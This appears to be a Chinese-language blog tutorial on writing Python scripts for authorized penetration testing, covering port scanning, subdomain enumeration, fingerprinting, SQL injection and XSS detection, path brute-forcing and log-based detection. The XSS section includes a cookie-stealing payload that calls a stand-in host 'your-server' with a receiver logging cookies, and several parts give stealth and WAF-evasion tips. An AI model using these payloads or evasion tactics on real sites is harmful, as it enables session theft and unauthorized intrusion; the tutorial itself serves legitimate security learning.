资讯详情

资讯详情

Python安全攻防实战:渗透测试脚本编写指南

1. 项目概述这篇《Python安全攻防渗透测试实战指南》的学习笔记其实是系列第三篇。前两篇分别讲了环境准备和基础工具链这篇开始真正进入动手环节——用Python写自己的渗透测试辅助脚本。先说清楚一件事渗透测试不是黑客攻击。它的本质是在合法授权的前提下模拟攻击者的思路去探测目标系统的弱点然后根据测试结果修复漏洞、加固系统。所谓以攻促防攻是手段防才是目的。整个系列面向的是安全测试工程师、运维人员、对网络安全感兴趣的Python开发者内容聚焦在如何用Python快速实现信息收集、端口扫描、Web应用安全测试和日志分析这些基础能力。换句话说你学会了这些不是为了搞破坏而是为了在别人搞破坏之前先发现问题。这篇笔记我会把实际操作中踩过的坑、验证过的代码、效率最高的写法都整理出来。网上很多教程只贴代码不解释思路照着敲一遍可能能跑但换个环境就废了。这里我会把每个脚本的设计逻辑讲清楚为什么这么写什么场景下有用什么场景下会翻车全部一次性说透。2. Python环境与核心模块准备2.1 Python版本选择和安装要点我知道很多人卡在第一步装Python。网上教程一搜一大把但真正稳定的路径其实很简单。我的建议是装Python 3.10以上版本因为后续用到的很多安全测试库对低版本的支持越来越差尤其是异步编程相关的能力3.8和3.10的差距非常大。安装时有几个细节值得注意。第一个是环境变量。Windows安装包默认会勾选Add Python to PATH一定要勾上否则命令行里敲python会提示找不到命令。第二个是包管理器pip。Python 3.4之后自带pip不用额外装但国内网络环境下下载包可能很慢建议把镜像源换成清华或阿里云的pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/source实测下来这个操作能把装包速度提高一个量级。第三个是虚拟环境。用python -m venv venv创建隔离环境防止不同项目依赖的库版本冲突。这个习惯越早养成越好不然项目多了真的会乱套。2.2 安全测试核心库安装与验证渗透测试相关的Python库很多但真正高频用到的就那么几个。我把它们分成三类装好之后基本覆盖90%的测试场景类别库名用途网络基础socket内置TCP/UDP连接、端口探测数据包操作scapy构造和解析网络数据包HTTP请求requests、httpx发送Web请求处理响应指纹识别whatweb命令行识别目标使用的Web技术栈安装命令如下pip install scapy requests httpx装完之后可以用一行代码验证是否可用import socket, requests, scapy.all print(ready)如果scapy导入报错通常是因为缺少npcap或libpcap。Windows环境下需要单独安装Npcap驱动Wireshark也依赖这个组件。macOS和Linux则需要在系统层面安装libpcapsudo apt install libpcap-devDebian系或brew install libpcapmacOS。这是新手最容易栽跟头的地方我当年在这块卡了整整一天。2.3 实验环境搭建建议练习渗透测试必须有自己的靶机环境绝对不能在未经授权的情况下对真实目标做测试这是行业底线。推荐用Docker快速搭建本地靶场docker pull vulnerables/web-dvwa docker run -d -p 80:80 vulnerables/web-dvwaDVWADamn Vulnerable Web Application是一个非常经典的漏洞练习平台里面包含了SQL注入、XSS、文件上传等各种常见漏洞场景。在本地跑起来之后后面所有的脚本都可以拿它来验证效果安全又高效。3. 信息收集自动化实现3.1 端口扫描器从单线程到异步并发端口扫描是渗透测试的第一步目的很明确——搞清楚目标主机对外开放了哪些服务。这个信息决定了后续测试的方向。比如扫描到22端口开着那就可以关注SSH相关的爆破或版本漏洞扫到3306那就是MySQL的配置问题。第一版扫描器用最基础的socket连接测试逻辑非常简单尝试连接目标IP的某个端口如果连接成功说明端口是开放的。import socket def scan_port(ip, port): try: sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1.0) result sock.connect_ex((ip, port)) sock.close() return result 0 except Exception: return False这段代码能跑但效率低的可怜。如果扫1000个端口每个超时1秒最坏情况要等1000秒。解决办法是改用异步并发。Python的asyncio库可以通过事件循环同时发起大量连接请求把等待时间充分利用起来import asyncio async def scan_port(ip, port, semaphore): async with semaphore: try: reader, writer await asyncio.wait_for( asyncio.open_connection(ip, port), timeout1.0 ) writer.close() return port except Exception: return None async def scan_ports(ip, ports, max_concurrent200): semaphore asyncio.Semaphore(max_concurrent) tasks [scan_port(ip, port, semaphore) for port in ports] results await asyncio.gather(*tasks) return [p for p in results if p is not None]信号量用于控制并发数防止一下子发出上千个连接把目标机器搞崩——这一点在真实测试中尤其重要。扫描不是越猛越好稳定和隐蔽才是关键。实测效果单线程扫1000个端口需要12分钟左右异步并发只需40秒左右。如果再做一次启发式优化——先用高频端口快速扫一遍再对开放端口范围内精细扫描——效率还能再翻一倍。不过切记这种方法的前提是你对目标有授权。靶场练习没问题千万别拿公共IP测试。3.2 子域名收集利用DNS解析快速枚举子域名收集是信息收集的另一大块。主站的防护通常做得比较严密但子域名上往往会有测试环境、后台系统或者文档站点防护没那么到位很容易成为突破口。思路是先用dnspython库查询目标域名的DNS记录然后对常见子域名字典做暴力枚举。这个字典可以从网上下载也可以自己整理核心是收录高频使用的子域名词比如admin、test、dev、api、oa、vpn这些。import dns.resolver def enum_subdomains(domain, wordlist): resolver dns.resolver.Resolver() resolver.nameservers [8.8.8.8, 114.114.114.114] found [] for word in wordlist: subdomain f{word}.{domain} try: answers resolver.resolve(subdomain, A) for rdata in answers: found.append((subdomain, str(rdata))) except Exception: pass return found用多个DNS服务器做冗余是必须的单个解析服务器经常不稳定而且不同DNS服务器返回的结果有时会有差异。实测中双重DNS服务器能将解析失败率降低80%以上。这个脚本简单直接但效率不高因为字典可能是几万条记录逐条解析会非常慢。更好的做法是改用concurrent.futures线程池并发度调到20左右既能保证速度又不会因为DNS查询频率过高被解析服务器临时限流。3.3 HTTP指纹识别判断目标技术栈知道目标用了什么Web框架、什么服务器接下来的测试思路就清晰了。比如Nginx 1.14.0和Apache 2.4.39的配置方式完全不同PHP和Node.js的漏洞点更是天差地别。指纹识别就是干这件事的。最简单的方式是看响应头。像Server、X-Powered-By这些字段经常直接暴露底层服务。但很多系统做了隐藏所以还要结合页面特征来判断。用requests拿页面内容然后用正则匹配特征import requests import re def fingerprint(url): headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) } resp requests.get(url, headersheaders, timeout5) server resp.headers.get(Server, unknown) powered_by resp.headers.get(X-Powered-By, unknown) hints [] if re.search(rwp-content, resp.text): hints.append(WordPress) if re.search(rJSP|JSESSIONID, resp.headers.get(Set-Cookie, )): hints.append(Java/Spring) if PHPSESSID in resp.headers.get(Set-Cookie, ): hints.append(PHP) return { status: resp.status_code, server: server, powered_by: powered_by, hints: hints }第一次请求页面时设置一个常规浏览器的User-Agent很重要因为很多WAFWeb应用防火墙对异常UA会直接拦截或者返回假页面。我见过不少测试人员扫了半天数据分析不出结果最后发现是被WAF诱导到了蜜罐页面所有特征都是假的。这个坑一定要避开。4. Web安全测试基础与防御视角4.1 SQL注入的检测逻辑与脚本编写SQL注入的原理非常直白程序拼接SQL语句时没有把用户输入和代码分开导致用户输入的内容被当成SQL代码执行。比如这句SELECT * FROM users WHERE username admin AND password 123456如果用户名输入的是admin --拼接后变成SELECT * FROM users WHERE username admin -- AND password 123456双横线在MySQL里表示注释后面的密码验证就被直接跳过了。用Python写一个简单的检测脚本思路是构造特殊参数去触发数据库报错从响应内容判断是否存在注入点。这里用DVWA靶场做示范import requests def test_sql_injection(url, param): payloads [, \, OR 11, 1 AND 11, 1 AND 12] for payload in payloads: params {param: payload} try: resp requests.get(url, paramsparams, timeout5) # 原始参数正常请求作为对照 normal_params {param: 1} normal requests.get(url, paramsnormal_params, timeout5) if len(resp.text) ! len(normal.text) or resp.status_code 500 or SQL syntax in resp.text or mysql_fetch in resp.text: print(fpotential injectable param: {param}, payload: {payload}) except Exception as e: print(ferror: {e}) return False这个脚本的思路是对照测试——正常请求的响应和加料请求的响应做对比。如果加了引号后页面变长、变短、报错都说明参数有可能拼接进了SQL语句。对于初学者来说这比直接看返回内容更靠谱因为很多框架的默认错误页面是统一的看不出区别但响应长度一定会发生变化。需要特别强调的是这个脚本只能用于自己的靶场或者获得书面授权的测试目标。合规是安全行业的第一生命线没有授权就是违法没有任何商量的余地。4.2 XSS探测脚本从反射到存储XSS跨站脚本攻击比SQL注入更隐蔽它瞄准的不是服务器而是访问页面的用户。攻击者在输入框里提交一段JavaScript代码如果网站没有对输入做转义过滤这段代码就会被执行。写探测脚本的思路是提交一个独特的标记字符串比如xss_test_12345然后检查响应页面里这个标记是否原样出现没有被转义、没有被过滤。如果原样出现就说明输出点可能存在注入风险。更进一步可以用一个执行后会产生明显副作用的payload去验证比如把cookie发送到自己的监听端口scriptfetch(http://your-server/ document.cookie)/scriptPython脚本需要配合一个HTTP服务来接收信息# 简易接收端 from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_GET(self): with open(/tmp/cookies.log, a) as f: f.write(self.path \n) self.send_response(200) self.end_headers() server HTTPServer((0.0.0.0, 8080), Handler) server.serve_forever()XSS的危害评估要结合存储位置。存储型XSS评论、留言、个人信息这些会被持久化保存的输入点比反射型XSS仅在搜索结果、错误提示这些即时响应中出现严重得多因为前者会影响所有访问该页面的用户。如果弹窗测试都只是自己看得见说明应用对反射型XSS做了基本的防护反过来如果连自己都触发不了那大概率是输出点做了转义处理需要换别的思路。4.3 敏感路径发现字典爆破与智能过滤Web应用的目录结构里藏着很多不该公开的东西——备份文件、后台入口、配置文件、上传目录。这些资源往往没有经过安全加固被访问到就可能泄露敏感信息。用Python写路径爆破脚本核心是准备一份高质量的字典。网上流行的字典非常多比如dirsearch自带的db/dicc.txt就收录了几万条常见路径。但字典不是越大越好因为每多一个请求就要多花时间还可能触发WAF的封禁策略。我的经验是先跑一个精简的高频字典500条左右包含/admin、/backup、/.git、/upload、/test这些命中后再针对性地扩大范围。import requests from concurrent.futures import ThreadPoolExecutor def check_path(base_url, path): url base_url.rstrip(/) / path try: resp requests.get(url, timeout3) # 404是不存在非404需要判断是真内容还是假页面 if resp.status_code ! 404: size len(resp.text) if size 100: # 排除空页面 return url, resp.status_code, size except Exception: pass return None线程池加进来之后爆破速度会非常快但有个隐患如果目标服务器检测到短时间超高频请求很可能直接将你的IP加入黑名单。稳妥做法是限制并发数不超过10个并且每个请求之间加一个随机的延时模拟人工浏览的节奏。所谓慢速渗透追求的是在目标毫无察觉的情况下完成任务而不是跟WAF硬碰硬。5. 日志分析与攻击指纹识别5.1 日志分析脚本从海量数据中找异常渗透测试做完之后还有一件很重要的事——分析测试过程中目标系统产生的日志验证测试行为是否被记录以及评估这些日志能否还原攻击路径。这其实是从防御者视角来检验自己的工作。一个优秀的渗透测试人员不仅能攻更要懂防。Python在这块的优势是文本处理能力极强。一个访问日志文件动辄几个GB用眼睛看根本不现实。写一个脚本提取访问频率异常高的IPimport re from collections import Counter def analyze_access_log(logfile, threshold100): pattern re.compile(r(\d\.\d\.\d\.\d)) ip_counter Counter() with open(logfile, r, encodingutf-8, errorsignore) as f: for line in f: match pattern.search(line) if match: ip_counter[match.group(1)] 1 suspicious {ip: count for ip, count in ip_counter.items() if count threshold} return sorted(suspicious.items(), keylambda x: x[1], reverseTrue)统计高频IP只是第一步怎么判断它是不是攻击行为要看请求的分布特征。正常用户访问的URL是分散的、有业务逻辑的攻击者的请求往往是高度集中的——同一时间点反复请求同一个接口或者带着、../、script这些特殊字符。把这些特征组合起来做筛选误报率会低很多。日志分析这个方向很多人不重视但我个人觉得它是区分脚本小子和专业安全人员的分水岭。前者只会用工具打点后者能通过日志还原整个攻击链路找到系统被攻破的真正原因。5.2 自定义蜜罐规则主动发现扫描行为分析被动日志有弊端——攻击完成后才知道发生了什么。为了提前感知扫描行为可以在Web服务上部署简单的蜜罐规则设置一些完全不存在的路径比如/secret_admin_2024正常用户永远不可能访问到这些路径。只要日志里出现对这个路径的请求基本可以断定是扫描器或攻击者在探测。Python可以定时读取日志一旦发现蜜罐规则被触发就自动告警import time honeypot_paths [/secret_admin_2024, /backup.zip, /.env] def monitor_honeypot(logfile, interval30): last_position 0 while True: with open(logfile, r, encodingutf-8, errorsignore) as f: f.seek(last_position) new_lines f.readlines() last_position f.tell() for line in new_lines: for path in honeypot_paths: if path in line: print(f[ALERT] honeypot triggered: {line.strip()}) time.sleep(interval)这个脚本简单得有点不像安全工具但它在大规模资产监控场景下非常实用。暴露面越大攻击者的自动化扫描就越频繁蜜罐告警能帮你在早期确认是否被针对性地关注从而提前加固重点系统。6. 常见问题与排查技巧实录6.1 环境问题模块安装失败的三大原因Python安全测试库安装失败的情况十次有七次是这几个原因导致的逐个排查基本都能解决。第一个原因是没有使用虚拟环境。系统Python目录权限受限装包会报Permission denied。解决办法很简单——用python -m venv venv建一个虚拟环境激活后再安装权限问题不存在了依赖冲突也一并解决。第二个原因是网络问题。默认PyPI源在国内访问极其不稳定经常请求超时。换成国内镜像源之后安装速度立竿见影。也可以临时指定源pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple。第三个原因是缺少编译环境。有些库比如scrapy、lxml不是纯Python代码需要调用C扩展Windows下需要安装Visual C Build ToolsmacOS需要Xcode Command Line Tools。报错信息里如果出现了error: command gcc failed之类的词基本就是这个原因。报错关键词原因解决方案Permission denied系统目录不可写使用虚拟环境Connection timed out网络无法访问PyPI切换镜像源command gcc failed缺少编译工具安装C/C编译环境ModuleNotFoundError未安装依赖或路径不对检查pip list6.2 扫描结果不准确为什么漏报误报遇到过最多的一个问题明明目标端口是开放的扫描器却没发现。排查思路先从网络层开始——目标机器是否做了ACL访问控制列表限制只允许特定IP访问或者源IP被防火墙封禁了本地测试时可以用telnet或nc手动验证一下端口是否真的可通确认是网络问题还是脚本问题。还有一种常见情况目标端口支持TCP握手但应用层协议不是常规服务。比如某个端口用的非标准协议扫描器显示开放但后续探测协议时却一直失败。这种情况不算误报而是需要进一步识别服务的身份。反过来误报也经常发生。一个负载均衡器后面挂了几十台机器其中某台机器的某个端口不通但其他机器通了你会在响应中看到端口开放的结果——其实目标主机根本没对外开放。解决办法是分析TCP响应的一致性如果连续多次探测结果不一致大概率是分布式结构需要调整测试策略。6.3 WAF绕过与限速技巧真实测试的必修课真实场景下目标网络几乎都有WAF或入侵检测系统。直接拿着扫描器暴力打轻则被限速重则被封IP。但这里说的绕过不是教你怎么非法逃避检测而是指在获得授权的渗透测试中如何保持流量合规不让测试行为影响业务运行。最基础的做法是控制请求速率让它看起来像是正常用户访问。写一个带随机关联的请求函数每次请求间隔随机保持在2-5秒之间请求头加入常规的Referer、Accept-Language等字段。这种中速扫描不会对服务器造成负担也能保证测试数据基本完整。如果目标有比较严格的频率限制可以引入代理池做流量分散。这在分布式测试中用的比较多但要特别注意代理来源的合规性绝对不能使用来路不明的免费代理——那可能本身就是攻击者的蜜罐。6.4 数据可视化让测试结果一目了然最后的产出阶段扫描结果散落在各个控制台里可不行。用Python的matplotlib或seaborn把数据画成图在汇报时会专业很多。比如端口扫描结果可以做热力图横轴是IP段纵轴是端口号颜色深浅代表开放状态子域名收集结果可以做柱状图按DNS解析的响应时间排序直观呈现网络质量差异。import matplotlib.pyplot as plt import numpy as np def plot_port_scan(ports, results): fig, ax plt.subplots(figsize(12, 6)) colors [green if r else red for r in results] ax.bar(ports, [1]*len(ports), colorcolors, width0.8) ax.set_ylabel(Open Status) ax.set_xlabel(Port) plt.show()可视化这块属于锦上添花但对于团队协作和客户汇报确实很重要。一份条理清晰的图表比十页堆砌数据的文档更能让非技术人员理解安全现状。7. 实操心得与扩展方向这套Python安全测试工具箱从无到有给几个真实的经验供参考。第一脚本要有日志输出。刚开始写扫描器的时候我只在控制台打印结果测试跨度长一点就完全不知道之前经历了什么。后来所有脚本都统一加上logging记录每次运行留档排查问题时效率高得多。第二异常处理要全覆盖。网络超时、连接被重置、DNS解析失败这些都是网络测试里的家常便饭。任何一步代码没有异常捕获整个脚本就可能挂掉。好的脚本应该稳定地失败而不是莫名地崩溃。我习惯在关键函数里用try...except...else...finally四段式既保证了异常能捕获也保证资源总能释放。第三多思考如果目标加了WAF会怎样。写扫描脚本的时候不仅要考虑功能实现还要考虑对抗环境下的表现。这个思路转变会带来质的飞跃——动手前先想清楚抗干扰设计代码架构会完全不一样。后续可以扩展的方向很多一是把分散的小脚本整合成一个命令行工具用argparse统一管理参数方便批量测试时复用二是引入scapy做更底层的协议测试比如SYN半开扫描和ACK探测能绕过部分防火墙的TCP连接日志记录三是加一个GUI界面用tkinter或PyQt把扫描配置和结果展示做成可视化的操作面板对不熟悉命令行的同事会更友好。安全攻防技术更新迭代非常快但底层的能力体系是稳定的——熟悉TCP/IP协议原理、理解Web应用工作机制、会写Python自动化脚本这三件事做好了无论行业怎么变你都能快速适应。这条路越走越有意思祝各位都能在合法合规的前提下把技术练扎实。
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →